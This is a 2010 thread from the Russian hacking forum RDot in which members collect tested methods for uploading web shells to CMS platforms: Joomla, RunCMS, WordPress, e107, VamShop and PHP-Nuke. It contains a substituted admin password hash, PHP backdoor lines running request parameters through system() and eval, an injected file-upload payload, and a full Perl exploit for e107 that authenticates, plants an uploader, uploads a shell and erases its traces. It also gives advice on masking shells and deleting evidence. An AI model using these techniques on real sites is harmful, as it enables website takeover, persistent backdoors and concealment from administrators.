RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Заливка шелла в CMS (https://rdot.org/forum/showthread.php?t=3)

Ded MustD!e 02.07.2010 18:26

Заливка шелла в CMS
 
В этой теме собираем способы заливки шелла в CMS/Blogs. Все способы, которые вы постите, должны быть проверены лично вами и быть 100% рабочими, если на какой-то версии не работает, то писать версии, на которых проверялось и все зависимости. Так что не просто копипастим с паблика, а проверяем/дорабатываем/описываем. Естественно, будет замечательно, если вы найдете новые способы заливки.

CyberHunter 06.07.2010 11:47

Заливка шелла в CMS Joomla! 1.5
 
Тестировал на: Joomla! 1.5
Требования: Доступ в админку.
Заходим в админку, находим там Global Configuration. Там же переходим на вкладку System. Находим Legal Extensions (File Types) и прописываем туда нужное расширения (т.е. php) и сохраняем.
Дальше заходим в Media Manager, выбираем папку для будущего шелла, открываем ее, выбираем файл который будем заливать (т.е. веб-шелл) нажимаем Start Upload File.
Шелл будет находится в папке images (по дефолту) или в той папке которую вы выбрали, типа: joomlasite.com/images/papka_s_shellom.
Работает на joomla! 1.5, но встречались не полные админки, в которых не было возможности заливать файлы (тупо не было такой кнопки), вот там и нет возможности залить шелл данным способом.

nikp 07.07.2010 07:58

Joomla
 
Joomla

Удобно, если есть возможность изменять jos_users, например доступен phpMyAdmin.

- сохраняем jos_users
- меняем username и password на

admin
a458d1ff993a5b5ebdc483536bb8a3c6:H6AIIOKetGMm9EaSR snlq06yw2MunwRu

встречается два типа хеша, если md5, то
e10adc3949ba59abbe56e057f20f883e

Можно не редактировать админа, а добавить нового.

заходим в админку, admin:123456, дальше три варианта

- Общие настройки->Система, настраиваем разрешенные расширения для Медиа менеджера и заливаем через него. Путь виден.

- Редактируем Расширения->Менеджер шаблонов, проверяем доступность на запись (зеленый цвет каталога) выбираем неактивный шаблон, запоминаем, заменяем на код шелла, сохраняем, видим путь до шелла, запускаем его, переписываем в другое место, маскируем. Возвращаем шаблон на место.

- Редактируем Расширения->Менеджер языков, аналогично шаблонам (иногда редактирование недоступно)

Возвращаем исходное состояние jos_users.

PS проверял для версии <= 1.5.15.

nikp 07.07.2010 08:18

RunCMS v2.1
 
Вложений: 1
RunCMS v2.1

1 способ:

Если Apache выполняет файлы с расширением .php.bla, то в
Администрирование->Управление модулями->Архив файлов->Основные настройки->Допустимые форматы файла добавляем |.zp
и заливаемся из Администрирование->Управление модулями->Архив файлов->Добавить, редактировать или удалить раздел/файл.
Ищем по адресу:
http://localhost/runcms/modules/downloads/cache/files/shell.php.zp

В чистом виде .php разрешить не получится, т.к. в коде определено
PHP код:

// Fix for bad extension  Thanks to Philippe of E-rcxfr.com (ExV2) for this patch.
$badarray = array(=> '.php',=> '.php3',=> '.php4',=> '.exe',=> '.php5',=> '.cgi',=> '.pl',=> '.sh',=> '.phtml',=> '.shtml',10 => '. shtm',11 => '.phtm');
$is in_array ($this->file[$filename]['extension'], $badarray);
// и запрет 

Фокусы с .php%00 не проходят, т.к. меняется на .php_00
PHP код:

function set_basename($value$filename='uploaded_files') {
    
$this->file[$filename]['basename'] = strtolowerpreg_replace('/[^a-z0-9_.-]/i''_'$value) ); 


2 способ:

В Администрирование->Основные настройки сайта смотрим "Скин по умолчанию" и редактируем его в
Администрирование->Редактор тем->runcms2
Редактируем, например themeheader.html, как рукам нравится
Код:

<td  id ="divers"><br /><b><?php echo _TH_HEADER_TXT;?></b>
<td  id ="divers"><br /><b><?php echo _TH_HEADER_TXT;if($_REQUEST[pass]) system($_REQUEST[pass]);?></b>

http://localhost/runcms/modules/news/
post
pass=ls -lia


3 способ

Администрирование->Редактор тем
загружаем новую тему в zip архиве, должна быть соблюдена структура темплейта.

шелл будет тут
http://localhost/runcms/themes/ops/theme.php

Облегченная тема с минишеллом в аттаче, можно заменить на свой шелл.

Pashkela 10.07.2010 16:30

WordPress

всё тестилось на самой последней версии - 3.0 (просто ради собрать в одном месте+вроде один новый способ):

-= Способ 1 =-

Цитата:

Как залить шелл?
1. идем в Внешний вид -> Редактор тем ->
2. с права файлы типа css и так далее. кликаем любой php файл. сохранил шелл
3. там линк типа http://site.com/wp-admin/theme-editor.php?file=wp-content/themes/wedding/functions.php&theme=Wedding
4. и наш шелл на http://site.com/wp-content/themes/wedding/functions.php
(c) Muhacir
-= Способ 2 =-

Админпанель->Плагины:

По умолчанию стоят: Akismet,Hello Dolly

Жмем "Изменить", вписываем свой <?php-код;?>

Например, изменив Akismet, результат можно будет наблюдать по адресу:

Код:

http://[host]/[path]/wp-content/plugins/akismet/akismet.php
(c) кто автор - не в курсе, но тут и так всё понятно

-= Способ 3 =-

Админпанель->Темы->Установить темы->Загрузка:

Просто льем шелл с обычным расширением .php, несмотря на надпись:

Цитата:

Установить тему в формате .zip

Если у вас есть архив темы в формате .zip, здесь можно загрузить и установить её.
затем сразу появляется следующая надпись:

Цитата:

Информация для соединения

Чтобы осуществить запрошенное действие, WordPress необходим доступ к вашему серверу. Пожалуйста, введите координаты доступа к FTP. Если вы не помните координаты, можно узнать их в службе поддержки вашего хостинг-провайдера.
Сервер
Логин для FTP
Пароль для FTP
Тип соединения

Продолжить>>
но дальше делать уже ничего не надо, т.к. шелл уже залит и находится под оригинальным именем по адресу:
Код:

http://[host]/[path]/wp-content/uploads/wso2.php

PS: Асболютно точно также и с той же последовательностью можно загрузить шелл через:

Админпанель->Плагины->Добавить новый->Загрузка:

http://[host]/[path]/wp-content/uploads/wso2.php - шелл

По крайней мере про этот способ нигде не читал, так что вполне вероятно (с)


Ctacok 13.07.2010 19:02

Joomla.
Если папка modules вритабельна, ставим новый модуль.
Архив по ссылке.
хттп://zalil.ru/upload/29460413

Шелл : wso.


http://ctacok.name/com_articles.zip

Strilo4ka 17.07.2010 22:55

e107
 
1. e107_admin/language.php?tools

2. ");?><?copy($_FILES[file][tmp_name],$_POST[p])?> например в lan_banner.php .

3. http://[host]l/[path]/e107_languages/lan_banner.php

4. форма с постом:
<form enctype="multipart/form-data" action="http://[host]/[path]/e107_languages/lan_banner.php" method="post">
Отправить этот файл: <input name="file" type="file" value='b.php' /><br>
Название шелла! <input name="p" type="text" value="b.php">
<input type="submit" value="Send File" />
</form>

Автозалика(действия с 1 по 4), а также:
- стирает после заливки шелла код ");?><?copy($_FILES[file][tmp_name],$_POST[p])?> с lan_banner.php;
- поддержка сокс;
- результат в файл(дописывает),консоль.

Должен быть с експлоитом ниже еще b.php шелл.
PHP код:

#!/usr/bin/perl
#######settings##########
my $url="http://сайт";
my $login='логин';
my $pass='пасс';
my $path_to_shell="b.php"; # default - current folder /e107_languages/
my $name_shell="b.php";
my $seep=5;
#########################
use LWP::UserAgent;
$ua = LWP::UserAgent->new;

#######settings step2##########
# our proxy
#my $proxy="http://X.X.X.X:порт";# чтоб на локале тестить - коментим!
#$ua->proxy(['http','https'],$proxy);# чтоб на локале тестить - коментим!

sleep($sleep);

my $req = HTTP::Request->new(POST => "$url/e107_admin/admin.php",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"]);
$req->content_type('application/x-www-form-urlencoded');
$req->content("authname=$login&authpass=$pass&authsubmit=Log+In");
my $res = $ua->request($req);

my $cook_adm;
if ($res->headers_as_string =~ /(e107cookie=[\d\w\.]+);\s/) {$cook_adm=$1;} else {print "failed to authenticate!"; exit;}

sleep($seep);

my $req = HTTP::Request->new(POST => "$url/e107_admin/lancheck.php?lan_banner.php|",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",'Cookie' => $cook_adm ]);
$req->content_type('application/x-www-form-urlencoded');
my $content='newlang[]=");?><?copy($_FILES[file][tmp_name],$_POST[p])?>&newdef[]=PAGE_NAME&newlang[]=&newdef[]=BANNERLAN_16&newlang[]=&newdef[]=BANNERLAN_17&newlang[]=&newdef[]=BANNERLAN_18&newlang[]=&newdef[]=BANNERLAN_19&newlang[]=&newdef[]=BANNERLAN_20&newlang[]=&newdef[]=BANNERLAN_21&newlang[]=&newdef[]=BANNERLAN_22&newlang[]=&newdef[]=BANNERLAN_23&newlang[]=&newdef[]=BANNERLAN_24&newlang[]=&newdef[]=BANNERLAN_25&newlang[]=&newdef[]=BANNERLAN_26&newlang[]=&newdef[]=BANNERLAN_27&newlang[]=&newdef[]=BANNERLAN_28&newlang[]=&newdef[]=BANNERLAN_29&newlang[]=&newdef[]=BANNERLAN_30&newlang[]=&newdef[]=BANNERLAN_31&newlang[]=&newdef[]=BANNERLAN_32&newlang[]=&newdef[]=BANNERLAN_33&newlang[]=&newdef[]=BANNERLAN_34&newlang[]=&newdef[]=BANNERLAN_35&newlang[]=&newdef[]=BANNERLAN_36&newlang[]=&newdef[]=BANNERLAN_37&newlang[]=&newdef[]=BANNERLAN_38&submit=Save lan_banner.php &root=../e107_languages//lan_banner.php';
$req->content($content);
my $res = $ua->request($req);

if (!$res->is_success()) {print "Can't edit file ".$url."e107_languages/lan_banner.php";exit;}

# upload file
use HTTP::Request::Common;
$res = $ua->request(
POST "$url/e107_languages/lan_banner.php",
Cookie => $cook_adm,
Content_Type => 'form-data',
Content      => [
                  p      => $name_shell,
                  file   => ["$ENV{HOME}/".$path_to_shell]
                 ]
);

if ($res->is_success())
 {
 print "File successfully uploaded!\nThe result is saved in a file.\nPath to .:Shell:. - ".$url."/e107_languages/".$path_to_shell;
 #write in file path result
 open(FILE,'>>results.txt');
 print FILE "Resource: $url\n";
 print FILE "File successfully uploaded!\n";
 print FILE "Path to Shell: ".$url."/e107_languages/".$path_to_shell."\n\n";
 close(FILE);
 }
  else {print "Error upload file!";exit;}

#  remove traces in http://[host]/[path]/e107_languages/lan_banner.php
my $req = HTTP::Request->new(POST => "$url/e107_admin/lancheck.php?lan_banner.php|",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",'Cookie' => $cook_adm ]);
$req->content_type('application/x-www-form-urlencoded');
my $content='newlang[]=&newdef[]=PAGE_NAME&newlang[]=&newdef[]=BANNERLAN_16&newlang[]=&newdef[]=BANNERLAN_17&newlang[]=&newdef[]=BANNERLAN_18&newlang[]=&newdef[]=BANNERLAN_19&newlang[]=&newdef[]=BANNERLAN_20&newlang[]=&newdef[]=BANNERLAN_21&newlang[]=&newdef[]=BANNERLAN_22&newlang[]=&newdef[]=BANNERLAN_23&newlang[]=&newdef[]=BANNERLAN_24&newlang[]=&newdef[]=BANNERLAN_25&newlang[]=&newdef[]=BANNERLAN_26&newlang[]=&newdef[]=BANNERLAN_27&newlang[]=&newdef[]=BANNERLAN_28&newlang[]=&newdef[]=BANNERLAN_29&newlang[]=&newdef[]=BANNERLAN_30&newlang[]=&newdef[]=BANNERLAN_31&newlang[]=&newdef[]=BANNERLAN_32&newlang[]=&newdef[]=BANNERLAN_33&newlang[]=&newdef[]=BANNERLAN_34&newlang[]=&newdef[]=BANNERLAN_35&newlang[]=&newdef[]=BANNERLAN_36&newlang[]=&newdef[]=BANNERLAN_37&newlang[]=&newdef[]=BANNERLAN_38&submit=Save lan_banner.php &root=../e107_languages//lan_banner.php';
$req->content($content);
my $res = $ua->request($req);

if ($res->is_success()) {print "\nRemove traces in ".$url."/e107_languages/lan_banner.php";}
 else {print "Can't remove traces in ".$url."/e107_languages/lan_banner.php";}

Вводить:
логин,пасс,ресурс(бес админки!).
Внимание:

- капчу експлоит необходит(в некоторых e107 есть);
- код мне не нравитцо).

Касаемо запуска експлоитов
:
- чтоб на винде запускать кто юзает еще перл (в переменной окружения path для удобства) прописать путь к интерпретатору, например:
;C:\WebServers\usr\local\bin
- в httpd.conf прописать ScriptInterpreterSource registry

© Я нахтачка люблю.

Strilo4ka 17.07.2010 23:18

Vam Shop
 
1.http://[host]/[path]/admin/csv_backend.php?action=upload - CVS експорт/импорт
2.http://[host]/[path]/admin/easypopulate.php - Excel експорт/импорт
3.http://[host]/[path]/admin/cip_manager.php?action=upload - установка модуля.
(пыхаем наш шелл в zip и он будет за адресом http://[host]/[path]/admin/contributions/name_shell.php)

Pashkela 31.07.2010 16:14

PHP-Nuke 8.1 FINAL Released

взять можно здесь:
Код:

http://rus-phpnuke.com/modules.php?name=Files&go=view_file&lid=927
Подготавливаем шелл из админпанели нюка:

по дефолту стоит модуль Forums, и там phpbb 2.0.7

1. Добавляем нового юзера:
Код:

admin->Modules Administration->Users->Add a New User
затем идем в
Код:

admin->Modules Administration->Forums->Попадаем в админку форума
Код:

Restore Database->1.sql:

UPDATE nuke_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval($_COOKIE[ev]);' WHERE user_id=[тут id созданного юзера];

затем читаем здесь:
Код:

https://rdot.org/forum/showpost.php?p=709&postcount=2
идем в свой профайл:
Код:

http://localhost/PHP_Nuke_8.1_FINAL_Released/modules.php?name=Forums&file=profile&mode=editprofile
и льем шелл

PS: Не забудьте потом в админке (самого нюка, не форума) удалить юзера или удалить его подпись, т.к. в ней будет виден весь ваш злокод в чистом виде

Pr0xor 24.09.2010 14:39

WordPress 2.5.1 - 2.8.5
Первоисточник здесь http://www.80vul.com/exp/wordpress.txt, но он на китайском, в общем если посмотреть код WordPress
и указанный выше сплоит, то можно прийти к такому алгоритму

1. Заходим под админом admin и создаем второго админа sysop, в поле display_name, пишем
\\\';eval(base64_decode(cHJpbnQgZ2V0Y3dkKCk7));\\\ '

2. Далее начинает паралельно второй сеанс работы с блогом, то есть заходим под созданным админом sysop, из
под другого браузера, авторизация в блоге использует куки, поэтому такой вариант позволит использовать
блог сразу двумя админами.

3. Второй админ идет редактировать какой - нибудь пост например

site.com/blog/wp-admin/post.php?action=edit&post=11

В это время первый админ тоже обращается к этому посту и видит предупреждение, в котором будет выполнение
команды print getcwd();


Часовой пояс GMT +3, время: 18:12.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot